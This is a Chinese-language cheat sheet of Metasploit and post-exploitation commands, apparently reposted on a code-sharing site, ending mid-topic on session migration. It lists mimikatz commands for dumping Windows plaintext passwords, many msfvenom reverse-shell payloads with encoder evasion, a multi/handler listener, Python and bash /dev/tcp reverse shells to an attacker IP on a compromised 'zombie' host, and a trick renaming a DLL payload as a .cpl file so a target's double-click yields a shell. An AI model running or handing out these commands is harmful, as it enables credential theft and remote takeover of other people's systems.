msf常用命令


獲取 Windows 明文用戶名密碼

git clone https://github.com/gentilkiwi/mimikatz.git

load mimikatz

privilege::debug

sekurlsa::logonPasswords full

 

 

Python shell

python -c "import pty;pty.spawn('/bin/bash')"

 

 

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe

msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

 

MSF 生成在 Linux 下反彈的 Meterpreter Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

 

MSF 生成反彈 Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

 

MSF 生成反彈 Python Shell

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

 

MSF 生成反彈 ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

 

MSF 生成反彈 Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

 

MSF 生成反彈 PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php

 

MSF 生成反彈 Win Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

 

 

msf監聽反彈

msf > use multi/handler

msf exploit(handler) > set PAYLOAD php/reverse_php

msf exploit(handler) > set LHOST 你的IP

msf exploit(handler) > set LPORT 反彈連接的端口

msf exploit(handler) > exploit

 

訪問shell.php就會得到一個shell會話

 

 

PYTHON 反彈 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“你的ip”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

 

nc反彈shell

肉雞:

# bash -i >& /dev/tcp/反彈的ip/9999 0>&1

黑客機先監聽:

# nc -vv -l -p 9999

得到shell會話

[root@xxx ~]# 

 

 

 

 

msfvenom命令行選項如下:

    Options:

        -p, --payload    payload>       指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用'-'或者stdin指定

        -l, --list       [module_type]   列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all

        -n, --nopsled    length>        為payload預先指定一個NOP滑動長度

        -f, --format     format>        指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)

     -e, --encoder    [encoder]       指定需要使用的encoder(編碼器)

        -a, --arch       architecture>  指定payload的目標架構

            --platform   platform>      指定payload的目標平台

        -s, --space      length>        設定有效攻擊荷載的最大長度

        -b, --bad-chars  list>          設定規避字符集,比如: '\x00\xff'

        -i, --iterations count>         指定payload的編碼次數

        -c, --add-code   path>          指定一個附加的win32 shellcode文件

        -x, --template   path>          指定一個自定義的可執行文件作為模板

        -k, --keep                       保護模板程序的動作,注入的payload作為一個新的進程運行

            --payload-options            列舉payload的標准選項

        -o, --out   path>               保存payload

        -v, --var-name name>            指定一個自定義的變量,以確定輸出格式

        --shellest                   最小化生成payload

        -h, --help                       查看幫助選項

        --help-formats               查看msf支持的輸出格式列表

 

 

 

CPL

其實cpl文件就是dll文件

只需要用msf生成一個dll的payload將名字改成xx.cpl 如果目標雙擊的話 即可成功getshell

payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.9 lport=4444 -f dll -o /tmp/test.cpl 

 

 

可執行文件后綴

Windows支持的可直接執行文件后綴有

exe pif com cmd scr (jar等需要安裝三方軟件包不在考慮中)

 

 

遷移會話到系統進程(如果遷移失敗會失去會話,需要重新建立會話。遷移成功后,即使exit主動退出該會話,再次exploit還會自動獲得反彈shell。但如果目標系統重啟,還是會丟失會話):


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM